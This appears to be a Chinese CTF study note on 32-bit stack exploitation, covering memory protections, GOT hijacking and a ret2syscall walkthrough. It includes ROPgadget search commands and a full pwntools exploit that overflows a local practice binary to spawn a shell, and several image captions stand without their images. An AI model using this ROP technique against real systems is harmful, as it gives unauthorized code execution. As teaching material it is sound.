安全机制

ASLR(地址随机化)
PIE(加强版ASLR)
NX(数据段不可执行) ROP 系统调用
stack canary(栈溢出 写入校验值 ) stack smash 内存泄漏
RELRO got表

延迟绑定
plt 汇编代码 把真实地址放入got
got 表单 跳转到libc.so
利用方法:

  1. 劫持eip,改为system plt
  2. 任意地址写got表,改为system真实地址,相当于调用call system(Got表劫持)
  3. 泄露,如泄露got表,里面有printf地址,进而计算出libc地址,system

ROP链:ret2syscall_PWN

文件信息

ROP链:ret2syscall_随机化_02

安全方式

ROP链:ret2syscall_PWN_03

查看源码

ROP链:ret2syscall_可执行_04

确定偏移

cyclic 200
r
$cyclic -l caab
108
# 查找可存储寄存器的代码
ROPgadget --binary ret2syscall --only "pop|ret"|grep "eax"
ROPgadget --binary ret2syscall --only "pop|ret"|grep "ebx"

# 查找有int 0x80的地址
ROPgadget --binary ret2syscall --only "int"

# 查找字符串
ROPgadget --binary ret2syscall --string "/bin/sh"

ROP链:ret2syscall_随机化_05


ROP链:ret2syscall_可执行_06


ROP链:ret2syscall_可执行_07

ROP链:ret2syscall_PWN_08

exp

#!/usr/bin/env python
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
pause()
payload = "a"*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()

ROP链:ret2syscall_缓冲区溢出_09

ROP链:ret2syscall_PWN_10

ROP链:ret2syscall_ROP_11